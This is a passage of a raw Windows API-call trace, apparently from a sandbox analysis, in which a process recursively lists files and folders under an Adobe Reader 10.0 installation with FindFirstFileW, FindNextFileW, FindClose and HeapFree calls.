ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dfea540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.UKR", cAlternateFileName="")) returned 1 [0148.836] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0148.836] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42cdf80 | out: hHeap=0x300000) returned 1 [0148.839] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1 [0148.839] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0148.840] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d6d7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.840] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CHS", cAlternateFileName="ACCESS~1.CHS")) returned 1 [0148.841] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_CN\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.841] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f4af00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.841] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x899d, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.842] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0148.842] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc7e5a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CHS", cAlternateFileName="")) returned 1 [0148.842] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0148.842] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42cdf80 | out: hHeap=0x300000) returned 1 [0148.842] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0148.842] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0148.842] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.842] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CHT", cAlternateFileName="ACCESS~1.CHT")) returned 1 [0148.843] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\Services\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.843] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f24da0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f971c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.843] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f971c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x893f, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="DEXSHA~1.ASF")) returned 1 [0148.844] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0148.844] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.CHT", cAlternateFileName="")) returned 1 [0148.844] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0148.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x42cdf80 | out: hHeap=0x300000) returned 1 [0148.844] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0 [0148.844] FindClose (in: hFindFile=0x41913c0 | out: hFindFile=0x41913c0) returned 1 [0148.844] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4160048 | out: hHeap=0x300000) returned 1 [0148.844] FindNextFileW (in: hFindFile=0x4191640, lpFindFileData=0x377f310 | out: lpFindFileData=0x377f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e1a400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x59de0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logsession.dll", cAlternateFileName="LOGSES~1.DLL")) returned 1 [0148.845] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\*", lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x41913c0 [0148.845] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cfb2f60, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.845] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7ec63, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessibility.api", cAlternateFileName="ACCESS~1.API")) returned 1 [0148.845] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0148.845] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e05720, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82e519e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.845] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb36f, dwReserved0=0x0, dwReserved1=0x0, cFileName="adobepdf.xdc", cAlternateFileName="")) returned 1 [0148.845] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.845] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.845] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1aa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobePDF417.pmp", cAlternateFileName="ADOBEP~1.PMP")) returned 1 [0148.846] FindClose (in: hFindFile=0x4191700 | out: hFindFile=0x4191700) returned 1 [0148.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4170050 | out: hHeap=0x300000) returned 1 [0148.846] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x82e519e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82ff4900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82ff4900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMP", cAlternateFileName="")) returned 0 [0148.846] FindClose (in: hFindFile=0x4191100 | out: hFindFile=0x4191100) returned 1 [0148.846] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4160048 | out: hHeap=0x300000) returned 1 [0148.846] FindNextFileW (in: hFindFile=0x41913c0, lpFindFileData=0x377f094 | out: lpFindFileData=0x377f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8308ce80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xae8a63, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroForm.api", cAlternateFileName="")) returned 1 [0148.846] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\*", lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191100 [0148.846] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7f804400, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7f804400, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.846] FindNextFileW (in: hFindFile=0x4191100, lpFindFileData=0x377ee18 | out: lpFindFileData=0x377ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamps", cAlternateFileName="")) returned 1 [0148.846] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*", lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191700 [0148.886] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.886] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0148.886] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.887] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.887] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.887] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.888] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x4180058 | out: hHeap=0x300000) returned 1 [0148.888] FindNextFileW (in: hFindFile=0x4191700, lpFindFileData=0x377eb9c | out: lpFindFileData=0x377eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHS", cAlternateFileName="")) returned 1 [0148.888] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CHS\\*", lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4191740 [0148.888] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.888] FindNextFileW (in: hFindFile=0x4191740, lpFindFileData=0x377e920 | out: lpFindFileData=0x377e920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13e0e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0148.888] FindClose (in: hFindFile=0x4191740 | out: hFindFile=0x4191740) returned 1 [0148.889] HeapFree (in: hHeap=0x300000, 